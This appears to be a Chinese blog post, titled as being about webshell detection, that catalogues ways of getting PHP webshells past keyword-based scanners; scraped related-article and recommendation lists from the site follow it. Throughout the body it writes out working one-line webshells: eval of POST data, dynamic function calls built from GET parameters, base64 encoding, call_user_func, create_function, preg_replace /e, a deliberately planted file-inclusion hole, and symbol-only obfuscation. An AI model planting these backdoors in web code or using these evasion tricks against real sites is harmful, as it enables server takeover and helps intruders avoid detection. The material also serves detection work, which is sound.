webshell查杀
大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.
0×01 字符串上的舞蹈
一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:
@eval ($_POST[xxxxx]);
很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用base64等编码函数来进行绕过
@$_GET[a]($_POST[xxxxx]);
or
@base64_decode(base64编码过的eval)
当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.
另外大多数Webshell的查杀工具很少把assert函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用assert替换eval来执行猥琐的功能.
以前在ASP一句话Webshell的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用require,include等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个base64比较简单的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));
字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋 –__-!
0×02 利用PHP函数的一些特性
这一小段其实还是建立在玩转了字符串的基础上的,一个小例子
if(key($_GET)=='xxxxxx')
call_user_func($_GET[xxx],$_POST[evil]);
好吧,我承认这有点换汤不换药,这种类型的就是遇到WAF都挂b,因为基本上都是基于动态传入参数的,然后利用PHP函数换了个形式执行而已,最终还是调用eval,下面是一个小小的延伸
$x=create_function('',$_GET[x]); $x();
再扫一眼PHP手册,我们在《高级PHP漏洞审计》读到过还有其他一些带有执行功能的函数,比如经常用的preg_replace加/e参数的黄金组合,这类一句话Webshell也算是比较常见的了.总结起来他们可以算作是人为的构造一些PHP代码上的漏洞.比如
$f=$_GET[x];
include($f);
这样构造一个包含漏洞出来,或者
$s= copy,movefile ; //…. etc
$s(参数调用)比如copy($_FILES[t][src],$_FILES[t][dst]);
利用一些文件操作函数来猥琐一些小动作,再或者来个preg_replace执行漏洞的经典例子
$t= prege_replace;
$t("/[xxx]/e",$_POST[x],"Hah!~");
这一方面能发散的地方还有很多,还是得多瞅瞅PHP手册,因为PHP的相关函数真是太猥琐了.
0×03 利用PHP的一些魔法特性
不知道能不能把PHP的多态性叫做魔法特性,错误之处还请指出.看过Ryat和Qz牛的文章后会更好理解,老外给过一个经典的例子
($_=@$_GET[2]).@$_($_POST[1]);
and
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
or
${'_'.$_}['_'](${'_'.$_}['__']);
当然我们实际不会这么去写,因为管理员瞅一眼就明白你是要做坏事了.这其中也结合了移位运算等,算是写得很花哨了 – -~
经常用MVC之类的框架搞开发,都能发现__autoload函数的好处,自己文件名去new一个类,然后在类中你可以在构造函数做点手脚什么的,而这一类函数在PHP中也是有不少的,我们可以猥琐一下加以利用.
另外常见的ob_start等利用PHP函数的回调特性也是有的,其实觉得应该把这个分类放到上一小节,之前和wulin牛也讨论过这种方式加密过的马的解密,不过现在大多数Webshell查杀工具都应该把它加到关键字了吧.
0×04 未完结
我一直相信还有更加猥琐的方式等等,攻防对立,也可以参考 核攻击
大牛在其lcx.cc上发布的讨论怎么从一万多个文件中快速定位Webshell来见招拆招.引用黑防之前一句很装13的话作为结语:在攻与防的对立中寻求统一.欢迎更多同学加入讨论~
webshell查杀的更多相关文章
- Linux服务器后门自动化查杀教程
一.说明 如果出现文件上传漏洞和命令执行类漏洞(包括命令注入.缓冲区溢出.反序列化等)都会让人担心,系统是否系统已被上传webshell甚至植入木马程序.如果依靠人工排查,一是工作量大二是需要一定程度 ...
- linux下python版webshell后门查杀工具
使用说明: 1.查杀指定路径:python webshell.py 路径 2.按时间查找文件:python webshell.py 路径 “2013-09-28 00:00:00″ # -*- cod ...
- linux服务器上使用find查杀webshell木马方法
本文转自:http://ju.outofmemory.cn/entry/256317 只要从事互联网web开发的,都会碰上web站点被入侵的情况.这里我把查杀的一些方法采用随记的形式记录一下,一是方便 ...
- 打造一款1kb大马并且处理D盾以及安全狗拦截与查杀
在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass.可是发现怎么也过不去查杀,更别说拦截了.对此无奈,只好花了个通宵去处理一下.顺便一提,理论过所有Waf,并且被杀只需要 ...
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
- Linux 僵尸进程查杀
僵尸进程概念 僵尸进程(Zombie process)通俗来说指那些虽然已经终止的进程,但仍然保留一些信息,等待其父进程为其收尸. 书面形式一点:一个进程结束了,但是他的父进程没有等待(调用wait ...
- 浅谈Android手机木马手工查杀
这篇文章主要是浅谈,所以会从简单方面开始讲起. 关于手机木马查杀,有些人会说安装手机杀毒软件不就解决了吗? 其实不然.因为手机和PC不一样,手机反木马技术没有PC端那么强. 就算你把目前市面上的所有手 ...
随机推荐
- 2019hdu多校 K-th Closest Distance
题目链接:Click here 大致题意:q次询问,每次询问你区间[L,R]中|p-ai|的值第k小的是多少 Solution: 直接找是很困难的,我们考虑二分答案,那么本题就十分简单了 我们对权值维 ...
- [CSP-S模拟测试]:简单计算(数学)
题目传送门(内部题104) 输入格式 第一行一个正整数$T$,表示该测试点内的数据组数,你需要对该测试点内的$T$组数据都分别给出正确的答案才能获得该测试点的分数. 接下来$T$组数据,每组数据一行两 ...
- maven 私服的setting.xml配置
<?xml version="1.0" encoding="UTF-8"?> 2 <settings xmlns="http://m ...
- iterator删除元素
总结 在需要的删除等操作时,不能使用简单的foreach,因为其底层依然用的是Iterator,但是调用的是集合中的remove方法. 使用迭代器对象调用其中的remove方法,以保证线程同步.
- 一致性hash算法Consistent Hashing
一致性hash算法Consistent Hashing 对于原有hash算法hash%n so... 1.话不多说直接上代码,原理或详解自行百度即可 import cn.pheker.utils.Ut ...
- 20165218 《网络对抗技术》Exp6 信息收集与漏洞扫描
Exp6 信息收集与漏洞扫描 实践过程记录 一.各种搜索技巧的应用 1_搜索网址目录结构 dir_scanner use auxiliary/scanner/http/dir_scanner This ...
- RedHat系统文本界面安装图形界面方法
版本: Linux version 2.6.32-431.el6.x86_64 (mockbuild@x86-023.build.eng.bos.redhat.com) (gcc version 4. ...
- 清理docker 容器下面的log
1. docker info 找到docker root dir 2. go to /var/lib/docker 3. constainers 下面有每个容器的文件夹,-json.log 结尾的为L ...
- 数据结构和算法(Java版)快速学习(交换、选择、插入排序)
基本排序算法:交换.选择.插入排序 常用的交换排序又称之为:冒泡排序 一般河水中的冒泡,水底刚冒出来的时候是比较小的,随着慢慢向水面浮起会逐渐增大,冒泡排序由此物理规律得来. 冒泡算法的运作规律如下: ...
- 九、设置RF自定义的日志输出路径
在Arguments输入-d E:\\robot,每次运行完都会发送该目录日志